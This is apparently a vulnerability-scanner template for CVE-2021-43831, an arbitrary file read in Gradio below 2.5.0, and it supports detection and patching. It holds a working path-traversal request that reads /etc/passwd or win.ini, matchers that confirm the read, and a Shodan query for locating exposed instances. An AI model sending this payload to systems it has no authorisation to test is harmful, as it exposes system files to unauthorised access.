Gradio < 2.5.0 - Arbitrary File Read

id: CVE-2021-43831

info:
  name: Gradio < 2.5.0 - Arbitrary File Read
  author: isacaya
  severity: high
  description: |
    Files on the host computer can be accessed from the Gradio interface
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 2.5.0.
  reference:
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-rhq2-3vr9-6mcr
    - https://github.com/gradio-app/gradio/commit/41bd3645bdb616e1248b2167ca83636a2653f781
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-43831
    cwe-id: CWE-22
    epss-score: 0.00063
    epss-percentile: 0.26511
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query: title:"Gradio"
  tags: cve,cve2021,lfi,gradio

http:
  - method: GET
    path:
      - "{{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}"

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
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